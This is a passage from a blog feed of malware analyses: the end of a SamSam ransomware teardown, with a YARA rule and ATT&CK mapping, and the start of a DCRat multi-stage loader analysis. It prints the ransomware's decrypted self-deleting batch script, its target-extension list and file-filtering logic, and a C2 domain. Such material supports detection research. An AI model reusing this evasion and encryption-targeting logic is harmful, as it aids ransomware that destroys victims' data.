src="https://cdn-images-1.medium.com/max/975/1*ESAzP4nx-0r4NyMDTh0P4g.png" /></figure><p>The last string that I found was <strong>“\”\n:loop\nFOR /F %%x IN (‘tasklist /NH /FI \”IMAGENAME eq %EXE%\”’) DO IF %%x == %EXE% goto FOUND\ngoto END\n:FOUND\nping 127.0.0.1 -n 5 &gt; NUL\ngoto loop\n:END\nDEL \”%PEXE%\\%EXE%\”\nDEL \”%~f0\””. </strong>This looks a loop which is looking some specific process in running process and if the process is not exist it was performing the self-destruction and deleting the PE file as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*toEd3E2ljjeHR12vmedO2w.png" /></figure><p>At that point, I found all the content which were written in some file and was executing but still I was not aware of the file name and the path where it was written. So, I decrypted the file name that was a batch file with the name of <strong>“msctlcpx.bat”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LUEUl1ZUYy8p8ixrRZiFcQ.png" /></figure><p>Now for this execution flow, I final step was to know about the path where this batch file was written. So, I decrypted the path of that file. The batch file was written in the same directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vlKuwr_RkcB2GM1K9nL3Fg.png" /></figure><p>Now for the verification of the whole content, I captured all activities using Procmon and executed only the instruction that were writing batch file into above mentioned directory. So I found the batch file with the same name and content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KSoreONSL4scCNwVWdfBOg.png" /></figure><p>After that there was an array of string which contains the letter from A to Z and it was looping over all array items and checking which drive is ready so that it can find the all directories, subdirectories and files under that drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Z32bScHqgAgeqcM4yNDH_A.png" /></figure><p>After exploring the function there were conditions seem to be related to filtering out specific directories or paths. Here’s a breakdown of what each part of the condition is checking:</p><p>· path.ToLower() != Program.wi_ndo_ws_d_r_iv_e_.ToLower() + “windows”: Checks if the lowercase version of the given path is not equal to the lowercase version of “windows” appended to the lowercase version of Program.wi_ndo_ws_d_r_iv_e_.</p><p>· path.ToLower() != Program.wi_ndo_ws_d_r_iv_e_.ToLower() + “winnt”: Similar to the first condition, but checks for “winnt” instead.</p><p>· !path.ToLower().Contains(“reference assemblies\\microsoft”): Checks if the lowercase version of the given path does not contain “reference assemblies\microsoft”.</p><p>· !path.ToLower().Contains(“recycle.bin”): Checks if the lowercase version of the given path does not contain “recycle.bin”.</p><p>· !path.ToLower().Contains(Program.wi_ndo_ws_d_r_iv_e_.ToLower() + “users\\all users”.ToLower()): Checks if the lowercase version of the given path does not contain the lowercase version of “users\all users” appended to the lowercase version of Program.wi_ndo_ws_d_r_iv_e_.</p><p>· !path.ToLower().Contains(Program.wi_ndo_ws_d_r_iv_e_.ToLower() + “documents and settings\\all users”.ToLower()): Similar to the previous condition but checks for “documents and settings\all users” instead.</p><p>· !path.ToLower().Contains(Program.wi_ndo_ws_d_r_iv_e_.ToLower() + “boot”): Checks if the lowercase version of the given path does not contain the lowercase version of “boot” appended to the lowercase version of Program.wi_ndo_ws_d_r_iv_e_.</p><p>· !path.ToLower().Contains(Program.wi_ndo_ws_d_r_iv_e_.ToLower() + “users\\default”): Checks if the lowercase version of the given path does not contain the lowercase version of “users\default” appended to the lowercase version of Program.wi_ndo_ws_d_r_iv_e_.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*pKC7nwhmviV74RlTlt8SCg.png" /></figure><p>this conditional statement is likely used to filter out specific paths or directories based on the mentioned conditions. If the given path meets any of these conditions, the overall condition would evaluate to true, indicating that the path should be excluded or not processed further.</p><p>After checking and filtering the paths and directories based on conditions, it was getting the full name and path of files and filtering with some other conditions which were coded into another function <strong>“go_for_ee_e_nn_ncc_cc”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*olJTHs5pUSmG69UedUsxxA.png" /></figure><p>By the name of that function, it was also obvious for me that it is checking that either this file should be encrypted or not. It was filtering some extension that it was not going to encrypt in this function. In this function it was returning and setting the value of flag, in case of true it encrypts the files else it ignores it.</p><p>· text.ToLower() == Program.exttennn_sion_en_c.ToLower(): Checks if the lowercase version of the given text is equal to the lowercase version of Program.exttennn_sion_en_c.</p><p>· fileInfo.Name == Program.delbatname: Checks if the name of the file (retrieved from fileInfo) is equal to Program.delbatname.</p><p>· fileInfo.Name == Program.hhheeeelpppfffilleeeee + Program.hhhhelllpfffileexxxxtenssssionnn: Checks if the name of the file is equal to the concatenation of Program.hhheeeelpppfffilleeeee and Program.hhhhelllpfffileexxxxtenssssionnn.</p><p>· fileInfo.Name == Program.seee_lfffnaaameee: Checks if the name of the file is equal to Program.seee_lfffnaaameee.</p><p>· fileInfo.Name.ToLower() == “desktop.ini”: Checks if the lowercase version of the name of the file is equal to “desktop.ini”.</p><p>· fileInfo.Name.ToLower().Contains(“ntuser.dat”): Checks if the lowercase version of the name of the file contains the substring “ntuser.dat”.</p><p>· path_for_check.ToLower().Contains(“search-ms”): Checks if the lowercase version of path_for_check contains the substring “search-ms”.</p><p>· text == “.search-ms” || text == “.exe” || text == “.msi” || text == “.lnk” || text == “.wim” || text == “.scf”: Checks if text is equal to one of the specified values (“.search-ms”, “.exe”, “.msi”, “.lnk”, “.wim”, “.scf”).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5PVa-blhb2Z30IIHG9DO6g.png" /></figure><p>After that there was a statement that was checking either this extension is exists in the array of types if yes than it proceeds to encrypt the file.</p><p><strong><em>bool flag = Array.Exists&lt;string&gt;(Program.ttttttttttttttttttttttttt, (string element) =&gt; element == ext.ToLower());</em></strong></p><p>If the condition returning true than it checks the permission of files. There was a function with the name of “chk4flok” in this function it was checking the read and write permission of that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hrpyYIDscAnELRastnzVmg.png" /></figure><p>After executing this function there was another statement which was checking that the file is database or not. It was checking by the extension of file comparing with the existing array of databases files. If the file is database file it was adding into list of separate database files.</p><p><strong><em>bool flag2 = Array.Exists&lt;string&gt;(Program.ttttdbbbbdbdbdbd, (string element) =&gt; element == ext.ToLower());</em></strong></p><p><strong><em>if (flag2)</em></strong></p><p><strong><em>{</em></strong></p><p><strong><em>Program.list_seprate_db_file(fileInfo.FullName);</em></strong></p><p><strong><em>}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Z31zUgr6MoDEF7Z2g2O5zw.png" /></figure><p>If the file type is other than the database file it was calling killing process function. At that level I can say it was trying to close the process in case if it is in running state. Because it needs to be encrypted. Also, after killing the process, it was checking the length of file with specific bytes. If the length of file which is going to encrypted is less or equal than continue the encryption procedure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EIm62iuIpN30SlolJeqDDw.png" /></figure><p>Then finally in this the function with name <strong>“enenenenenenenenene” </strong>it was checking the space available in drive and calculating the length of file and checking the leave note files already exists or not and also doing encryption using RSA-2048 and leaving the “.html” note and writing content into the note file which includes the bitcoin addresses and other communication ways to pay ransom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*z-_QFsi8FLHhe_Ap4C38dQ.png" /></figure><p>Now before concluding the analysis, I want to show you guys the extensions it was looking for and the database file types.</p><p>“.vb,.asmx,.config,.3dm,.3ds,.3fr,.3g2,.3gp,.3pr,.7z,.ab4,.accdb,.accde,.accdr,.accdt,.ach,.acr,.act,.adb,.ads,.agdl,.ai,.ait,.al,.apj,.arw,.asf,.asm,.asp,.aspx,.asx,.avi,.awg,.back,.backup,.backupdb,.bak,.lua,.m,.m4v,.max,.mdb,.mdc,.mdf,.mef,.mfw,.mmw,.moneywell,.mos,.mov,.mp3,.mp4,.mpg,.mrw,.msg,.myd,.nd,.ndd,.nef,.nk2,.nop,.nrw,.ns2,.ns3,.ns4,.nsd,.nsf,.nsg,.nsh,.nwb,.nx2,.nxl,.nyf,.tif,.tlg,.txt,.vob,.wallet,.war,.wav,.wb2,.wmv,.wpd,.wps,.x11,.x3f,.xis,.xla,.xlam,.xlk,.xlm,.xlr,.xls,.xlsb,.xlsm,.xlsx,.xlt,.xltm,.xltx,.xlw,.xml,.ycbcra,.yuv,.zip,.sqlite,.sqlite3,.sqlitedb,.sr2,.srf,.srt,.srw,.st4,.st5,.st6,.st7,.st8,.std,.sti,.stw,.stx,.svg,.swf,.sxc,.sxd,.sxg,.sxi,.sxm,.sxw,.tex,.tga,.thm,.tib,.py,.qba,.qbb,.qbm,.qbr,.qbw,.qbx,.qby,.r3d,.raf,.rar,.rat,.raw,.rdb,.rm,.rtf,.rw2,.rwl,.rwz,.s3db,.sas7bdat,.say,.sd0,.sda,.sdf,.sldm,.sldx,.sql,.pdd,.pdf,.pef,.pem,.pfx,.php,.php5,.phtml,.pl,.plc,.png,.pot,.potm,.potx,.ppam,.pps,.ppsm,.ppsx,.ppt,.pptm,.pptx,.prf,.ps,.psafe3,.psd,.pspimage,.pst,.ptx,.oab,.obj,.odb,.odc,.odf,.odg,.odm,.odp,.ods,.odt,.oil,.orf,.ost,.otg,.oth,.otp,.ots,.ott,.p12,.p7b,.p7c,.pab,.pages,.pas,.pat,.pbl,.pcd,.pct,.pdb,.gray,.grey,.gry,.h,.hbk,.hpp,.htm,.html,.ibank,.ibd,.ibz,.idx,.iif,.iiq,.incpas,.indd,.jar,.java,.jpe,.jpeg,.jpg,.jsp,.kbx,.kc2,.kdbx,.kdc,.key,.kpdx,.doc,.docm,.docx,.dot,.dotm,.dotx,.drf,.drw,.dtd,.dwg,.dxb,.dxf,.dxg,.eml,.eps,.erbsql,.erf,.exf,.fdb,.ffd,.fff,.fh,.fhd,.fla,.flac,.flv,.fmb,.fpx,.fxg,.cpp,.cr2,.craw,.crt,.crw,.cs,.csh,.csl,.csv,.dac,.bank,.bay,.bdb,.bgt,.bik,.bkf,.bkp,.blend,.bpw,.c,.cdf,.cdr,.cdr3,.cdr4,.cdr5,.cdr6,.cdrw,.cdx,.ce1,.ce2,.cer,.cfp,.cgm,.cib,.class,.cls,.cmt,.cpi,.ddoc,.ddrw,.dds,.der,.des,.design,.dgc,.djvu,.dng,.db,.db-journal,.db3,.dcr,.dcs,.ddd,.dbf,.dbx,.dc2,.pbl”</p><p><strong><em>Database Files</em></strong></p><p>“.sql,.mdf”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xj7BqukfhnqOnspdLBkYjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*e88oX3SbRE14pmjC9178DQ.png" /></figure><p>And it was leaving the NOTE file with the name of “READ-FOR-HELPP” with extension “.html”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*VYJZXxJIf_69cwvqpd7f1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9i4d-13YAWndgow6mSIQUw.png" /></figure><p>At that point, I have completed my analysis and found pretty much working of this ransomware. Now the next step for me is to map the extracted TTPs of that malware on MITRE ATT&amp;CK framework and recreate them for proactive emulation to validate the security controls.</p><h3>Extracted TTP’s</h3><h3>MITRE ATT&amp;CK MAPPING</h3><p><strong>Tactic</strong></p><p><strong>Techniques and Sub-Techniques</strong></p><p><strong>Defense Evasion</strong></p><p>Technique: Time-Based Sandbox Evasion</p><p><strong>Impact</strong></p><p>Technique: Data Encrypted for Impact (T1486)</p><p><strong>Execution</strong></p><p>Technique: Command and Scripting Interpreter (T1059)</p><p>Sub_technique: Windows Command Shell (S003)</p><p><strong>Defense Evasion</strong></p><p>Technique<strong>:</strong> Indicator Remover (T1070)</p><p>Sub<strong>_</strong>technique<strong>:</strong> File Deletion (S004)</p><p><strong>Defense Evasion</strong></p><p>Technique<strong>:</strong> Obfuscated Files or Information (T1027)</p><p>Sub<strong>_</strong>technique<strong>:</strong> Binary Padding (S001)</p><h3>Recreation and Security controls validation</h3><p>As an offensive security researcher, my primary responsibility involves the meticulous analysis of real-world samples to extract Tactics, Techniques, and Procedures (TTPs). Once identified, I map these TTPs onto the MITRE ATT&amp;CK framework, providing a comprehensive understanding of the adversary’s behavior. To validate the effectiveness of security controls, I employ emulation techniques by recreating the identified TTPs using the same methods observed in the analyzed samples. This emulation process ensures a realistic simulation of the adversary’s actions, allowing for thorough validation of existing security measures. For this purpose, I leverage proprietary emulation tools, ensuring precision and adaptability in replicating sophisticated attack scenarios. My role extends beyond the typical scope of a Security Operations Center (SOC) Level 3, as I not only analyze but also recreate the same behavior for proactive emulation and then provide mitigation strategies, including the development of YARA rules, Sigma detection signatures, and Indicators of Compromise (IoC). This comprehensive approach is crucial for enhancing the organization’s resilience against evolving cyber threats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*j_BPJtQB6JyIZ6gKD-A5sg.png" /></figure><p><strong><em>This is the overall flow of my work:</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vJyDh3WehRHLqe4O7uZsNg.png" /></figure><h3>Mitigation</h3><h3>YARA</h3><p>rule SamSam_Ransomware</p><p>{</p><p>meta:</p><p>description = “Latest SamSAm ransomware sample”</p><p>author = “Usman Sikander”</p><p>reference = “https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/&quot;</p><p>hash1 = “0c1504ff73135e2a7920afac1c49c6ed1b11ac120b589fec08a87b05f457ebdmd5”</p><p>hash2 = “286d1495a80c126a63c26a5610d515e6”</p><p>hash3 = “e5f6ad503c88055b931c7af7ec52dfd09759330633b2ace4dba9722efd5c876”</p><p>hash4 = “4e3e18e6140c64cec89f4be5af25751”</p><p>strings:</p><p>$s1 = “&lt;eulaV&gt;xPN1oBWSqfQgInnB6ydF204jiHN/uqljySnn1fkhqUk=&lt;/eulaV&gt;” fullword wide</p><p>$s2 = “EAAAAI9w2MPg9bAiJpW8KhfX9ZoiLEEZZAquBKVJFZdXoCvh” fullword ascii</p><p>$s3 = “EAAAAAYWk00FPYTndcfhmSU/hwcz/ah7CryNUEmKAYOZoK2J” fullword ascii</p><p>$s4 = “hzsjfhicykshkdjghkdhgbvgkdjdfg” fullword wide</p><p>$s5 = “EAAAAOeHr6QeAnAEeR04Cna7WcCsBCEgpGA5pyNBz3e1BNyy” fullword ascii</p><p>$s6 = “sfkjadgw6wuitafgjsdksd” fullword wide</p><p>$s7 = “nksjfgqd7trugfjsdfsd” fullword wide</p><p>$s8 = “fsgahfgfuygiteryugfjhdf” fullword wide</p><p>$s9 = “sfsfgcbdsfygjfsgsfgsj” fullword wide</p><p>$s10 = “mkjnhbgvfcdxszzdxfcgvhbj” fullword wide</p><p>$op0 = { 52 65 73 6F 75 72 63 65 73 2E 52 65 73 6F 75 72 }</p><p>$op1 = { 44 65 73 6B 74 6F 70 20 57 69 6E 64 6F 77 73 }</p><p>$op2 = { 57 69 6E 44 69 72 2E 65 78 65 00 65 6E 63 63 }</p><p>condition:</p><p>( uint16(0) == 0x5a4d and</p><p>filesize &lt; 53KB and</p><p>( 6 of them ) and all of ($op*)</p><p>) or ( all of them )</p><p>}</p><h3>Conclusion</h3><p>Traditional signature-based detection methods often struggle to identify this polymorphic malware due to its rapid ability to change and evade detection.</p><p>This analysis underscores the pressing need for behavioral detection mechanisms in modern cybersecurity strategies. Behavioral detection, powered by machine learning and artificial intelligence, focuses on identifying behavioral patterns rather than relying solely on known signatures. This approach enables security systems to adapt and recognize emerging threats like SamSam Ransomware, even as they evolve to evade traditional defenses. By continuously monitoring and analyzing system behavior, security solutions equipped with behavioral detection offer a proactive defense, providing a crucial layer of protection against emerging threats that traditional methods may miss.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bee37979f407" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/unveiling-the-intricacies-of-samsam-ransomware-a-comprehensive-analysis-plus-proactive-threat-bee37979f407">Unveiling the Intricacies of SamSam Ransomware: A Comprehensive Analysis Plus Proactive Threat…</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dark Crystel RAT (DCrat)Detailed Analysis]]></title>
            <link>https://systemweakness.com/dark-crystel-rat-dcrat-detailed-analysis-94a2bcccd5ce?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/94a2bcccd5ce</guid>
            <category><![CDATA[mitre-attack-framework]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Mon, 25 Sep 2023 15:34:38 GMT</pubDate>
            <atom:updated>2024-08-10T10:55:37.976Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Multi-Stage</em></strong></p><h3>Introduction</h3><p>DCRat, also known as Dark Crystal RAT, is a malicious program that allows cybercriminals to gain control of a compromised computer remotely. It’s used to steal various types of sensitive information, like clipboard contents and personal login details from applications. What makes it dangerous is its ability to stay hidden from regular security software.</p><p>DCRat has been around since 2018, and its creators keep updating and improving it to make it more powerful. It has different parts that do specific things, such as stealing cryptocurrency and secretly recording keystrokes.</p><p>The people behind DCRat have even released a special tool called “DCRat Studio” that helps them create new features for the malware. This constant evolution and the malware’s ability to evade detection make it a significant threat to computer users and organizations. Staying cautious and using advanced security measures is crucial to protect against DCRat and similar threats.</p><p>In 2018, Dark Crystal RAT primarily used Java, but it shifted to C# in 2019. Today, most of its modules are written in C#. Interestingly, the administrative server for this malware is built using JPHP, a version of PHP that runs on the Java Virtual Machine.</p><p>To thwart attempts by malware analysts to reverse engineer its code, different versions of DCrat employ evasion and obfuscation techniques. For example, they can obfuscate DCrat’s payload using a tool like Confuser Protector, adding an extra layer of protection.</p><p>The DCRat product itself consists of three components:</p><p>· A stealer/client executable</p><p>· A single PHP page, serving as the command-and-control (C2) endpoint/interface</p><p>· An administrator tool</p><h3>Capabilities</h3><p>· DCRat can record the victim’s keystrokes</p><p>· DCrat can transmit the contents of the victim’s clipboard to its command-and-control server.</p><p>· CryptoStealer module of the malware allows attackers to get access to users’ crypto wallet information.</p><p>· It can take screenshots of the victim’s computer</p><p>· DCRat can exfiltrate information from browsers, such as session cookies, auto-fill credentials, and credit card details.</p><p>· DCrat can hijack Telegram, Steam, Discord accounts.</p><p>· DCrat can function as a loader, dropping other types of malwares on the infected computer.</p><p>· DCrat create persistence on victim PC using different techniques</p><p>· DCrat execute VBS, PS, VB, BAT scripts on victim computer</p><h3>Tools and Environment</h3><p>· <em>Flare-VM (Windows 10)</em></p><p>· <em>REMnux (Simulator)</em></p><p>· dnSpy</p><p>· Cutter</p><p>· Detect-it-easy</p><p>· RegShot</p><p>· ExeInfoPE</p><p>· De4dot</p><p>· Capa</p><p>· Procmon</p><p>· ProcessHacker</p><p>· TcpView</p><p>· PE Bear</p><p>· PE Studio</p><p>· Wireshark</p><p>· IDA pro</p><p>· CyberChef</p><h3>Stage 1 (dcrat.exe)</h3><h3>Basic and Advanced Static Analysis</h3><h3>Initial access</h3><p>In my analyses of DCrat (Remote Access Trojan), I will commence my analysis by scrutinizing the very first sample I obtained from the MalwareBazaar repository. It’s worth noting that this sample might have been disseminated to a victim’s computer through various means, including phishing emails, spear phishing attachments, spear phishing links, or other methods aimed at gaining initial access. However, for the purpose of this analysis, I will focus solely on the investigation of the stage 1 sample delivered as a result of the initial access vector.</p><h3>Basic Information</h3><p>SHA256: Fd687a05b13c4f87f139d043c4d9d936b73762d616204bfb090124fd163c316e</p><p>MD5: A26ae5eb4e86ca54a1d338220318c43</p><p>CPU: 32-bits</p><p>Language: .Net programming language (c#)</p><p>Interesting Strings: Not Found</p><p>Inspection: LoadModule, MemoryStream, ToBase64String</p><p>Time Data Stamp: 2023/03/3 Fri</p><p>Packing:</p><p>In my first static analysis, when I opened binary in PE bear and calculate the size of raw data and virtual data, I assumed that this binary is not packed because the difference between raw and virtual data is not too much and there was no extra header which indicated that this is packed. The malware packed with UPX packers has extra header which can clearly indicate. But at this point I was assuming binary is not packed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*JoRy3_wMc0WwGhcnVtt1lg.png" /></figure><h3>Detect-It-Easy</h3><p>After opening the sample with detect-it-easy tool it shows me that the binary is using confuser protector and entropy was very high which clearly indicates the another .EXE or DLL into source and it was showing it is 99% packed binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oAMrf6gQOjm6jvx2YAY4ug.png" /></figure><h3>Capa-Output</h3><p>When I performed CAPA analysis on first stage of malware (dcrat.exe), it indicates that the binary is packed using Confusex. The detail verbose analysis also tells the binary is obfuscated and it trigger most of the rules which indicated that the binary is using these tactics and techniques according to MITRE ATT&amp;CK framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OekV8niIUHZuBNe8140Z9Q.png" /></figure><h3>Cutter-Output (Disassembler and Decompiler)</h3><p>When I disassemble the first stage sample using cutter and perform advanced static analysis, I was confused at this point and I didn’t clearly understand the working of malware. The x86 instruction jb (jump on below/less than, unsigned) was something which I should need to understand, so without wasting time I decided to perform Basic and Advanced dynamic analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lq0u6ag7fzprn3Lu5vWt7A.png" /></figure><h3>Basic Dynamic Analysis</h3><h3>Procmon and Process Hacker</h3><p>As an offensive security researcher, I always prefer Procmon and process hacker in my first detonation of malware sample which I analyze. When I executed the sample and captured all traffic using Wireshark and captured the all activities using Procmon, I didn’t notice anything interesting in first stage sample. At this point, I am assuming the first stage of Dcrat is a dropper or loader which is either downloading Second stage malware or extracting from resources and executing in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gLUkqAriUUqb2RJs0p-XqA.png" /></figure><p>But When I analyses the traffic in Wireshark, I found a domain <a href="http://battletw.begget.tech/">http://battletw.begget.tech</a> and malware was using get request with some encoded parameter. Still at this point I was not sure either first stage malware is trying to connect on this domain. Because I didn’t find any interesting string which indicate this behavior or maybe malware encoded URLs and domain, so I decided advanced dynamic analyses (debugging of malware).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bKX5VhyqOzY3p5UXz1YkeA.png" /></figure><h3>Advanced Dynamic Analysis</h3><p>I started advanced dynamic analysis of first stage sample using Dnspy. Dnspy is one of the best debuggers and Decompiler for .NET binaries. DcRat is .Net binary so I open it using dnSpy, there was a decrypt function and long unsigned integers array which was too long and dnSpy was not able to show them all. After that I found an interesting thing, this sample is loading module “koi” direct into memory. But at that time, I thought it could be a DLL or EXE which is directly loading into memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*rsMYWHyA3v3928pG10G7FA.png" /></figure><p>There is long array of unsigned integers which is too larger. Dnspy is not able to show them all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hgXN_JAPYBFNY8crRbZoOQ.png" /></figure><p>After initializing the unsigned integers, this loader decrypts the unsigned integers and load them into direct memory using load module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MJMf_7fVg2CqK02jlaeTww.png" /></figure><h3>Breakpoint:</h3><p>At this point, I was very clear that this loader and executing module with the name of “koi” directly into memory. So, I started debugging and set breakpoints on all new loaded modules and on variable which store the value of decrypted bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OOqLseNgS-8BDDXm6_yYCg.png" /></figure><p>I was monitoring all loaded module so that I can get second stage sample. The first loaded modules were mscorlib.dll and the sample itself, so I am ignoring these modules and looking for “koi”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EE2tves_N5ZDQaXziqcDmg.png" /></figure><p>After continuously debugging when I execute decrypt function and analyze the local variable “array2” value these were bytes starting with “0x4D” and “0x5A”. Now these indicates it is portable executable because these first two array index values indicated MZ. So, I just save that module with the name of “koi.exe” which is the second stage sample and executing direct into memory. So, I started analyses on stage 2 (koi.exe).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CagNW_p6V4ypk-xuq6xJIA.png" /></figure><h3>Stage 2 (koi.exe)</h3><h3>Basic Static Analysis</h3><p>SHA256: E62e3e03c6d5ce19267e343b2f22d4815ca1e6e6f714b1f36b1f3a4a45813a00</p><p>MD5: 67a245d177b12e03bb1505325e5c7a31</p><p>CPU: 32-bits</p><p>Language: .Net programming language (c#)</p><p>Interesting Strings: Not Found</p><h3>Detect-It-Easy</h3><p>After opening the sample with detect-it-easy tool it shows me that the binary is using confuser protector and entropy was not very high.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*qO6BjwrGzM2JcgvMP00NaQ.png" /></figure><h3>Advanced Dynamic Analysis</h3><p>I started debugging to stage 2 sample (koi.exe) and there was total 50 strings in code. These strings were base64 encoded and after that sample was decoding these strings and loading into memory. But the decoding process not that simple, there was a loop which is getting first character from each 50 strings and saving them into buffer then second character of each string and so on. After getting the final output from loop it was decoding and loading the new module into memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zz0YTpKYzidgYGE--AzW6A.png" /></figure><p>This is the last string with the name of “str49”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cwaZlltI7Wlw5bTwRI_WuQ.png" /></figure><p>This is the for loop which is getting character from each string with the procedure I explained in the start of paragraph.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OfXbLIJLD073USLX5Wr0WA.png" /></figure><p>After decoding the outing of for loop, it was loading another module directly into memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vJmp0xauI0kXiYo5OOhheg.png" /></figure><h3>Getting-New-Module</h3><p>I got this module using the script I found on internet. In the script there was same loop in python language and getting the characters as same the malware is doing and at the end decoding the all output and write bytes into file name (output.bin). So basically, this output is the stage 3 sample. So, I decided to analyze the third stage. You can create your own code in any language and ChatGPT can also help you to write this code to get last stage bytes.</p><h3>Stage 3 (output.exe)</h3><h3>Basic Static Analysis</h3><p>SHA256: F6b193ae794a423a4cd5a4dcd284437823336658d1d0752b48c297a02d5fb46a</p><p>MD5: d078805f96c03c1bc0628352b613ac77</p><p>CPU: 64-bits</p><p>Language: .Net programming language (c#)</p><p>Interesting Strings: Not Found</p><h3>Detect-It-Easy</h3><p>After opening the sample with detect-it-easy tool it shows me that the binary is using confuser protector and entropy was little high which indicates maybe some text-based obfuscation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2kJ006auhllS5lZQly2z0A.png" /></figure><h3>Advanced Dynamic Analysis</h3><p>When I started dynamic analyses of 3rd stage sample, it was fully obfuscated and I used ExeInfoPE to know about the EXE. It shown me the binary is obfuscated with deepsea obfuscator. I searched about it and found de4dot is able to de-obfuscate deepsea. When I run de4dot against the sample it didn’t detect the obfuscation and was not able to de-obfuscate it. So, I don’t have clear binary for stage 3 but I started my analyses on obfuscated one and try to get as much as information I can get. At this point, I want to say this will be the PART 1 analyses of 3rd stage sample of DcRAT and I will share the information which I was able to extract from obfuscated sample. If I get de-obfuscated sample, I will share the PART 2 which includes the detail working of sample as I shared for above 2 samples. In case, I didn’t get clear sample then I will also share the PART 2 with the better understanding of stage 3.</p><h3>Interesting Strings</h3><p>I started analysis by setting breakpoint on entry point but most of the functions are junk. Then I go through manually on each namespace and looked into functions so that I can understand some working of malware. Then I found some string which were looking base64 encoded and I try to decode theme using dencode and cyberchef.</p><p>First Base64 encoded string in stage 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IsQdIt0hRs54hrrsG9lOVA.png" /></figure><p>When I try to decode it, there was reverse string of base64, Then I apply reverse function of converted one and again apply FromBase64 function and got the clear output of encoded string which was a dictionary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZIV2wZnBbYRLFmh4JNqrhQ.png" /></figure><p>Second Base64 encoded string in stage 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*7Fwk2Whfg313ej14eW19Cw.png" /></figure><h3>Flow of Encoding</h3><p>Before I start decoding process for second stage, I found some interesting functions which was telling the clear working of encoding flow and what was the purpose of above decoded dictionary.</p><p>Trim() — -&gt; M2r.957()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oPF6T2QvRHzVRD5WEqyGtg.png" /></figure><p>M2r.i6B()</p><p>Key Value replacing from dictionary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*KWKMPMyXkvD_Df3BTlXp1Q.png" /></figure><p>Reversing the output:</p><p>Reverse M2r.1vX()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*A1YZbQB-n2po-I0jXbwr4g.png" /></figure><p>Converting again frombasea64 final value:</p><p>M2r.159()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0SFXLEIT-qDXmEif1PT5WQ.png" /></figure><p>Making request on URL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*-k0HD7QXPjsjmD9UVq4x5w.png" /></figure><p>Functions dealing with dictionary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3tcjAy18aJc7wRyTTMI3wg.png" /></figure><p>Let me explain the above-mentioned flow and all functions. I found a function which was basically the wrapper of other function. In this function, there was function which is taking base64encoded string as an argument and was decoding it and replacing the key within the dictionary I have decoded. After decoding the second string, it was applying search and replace function. In this function, it was replacing the key of dictionary with the second decoded string by matching the value from dictionary. At this point it maybe confusing but after this screenshot you guys will clearly understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OhFSzvL-kw1ETRVxKVs_PA.png" /></figure><p>Special thanks to 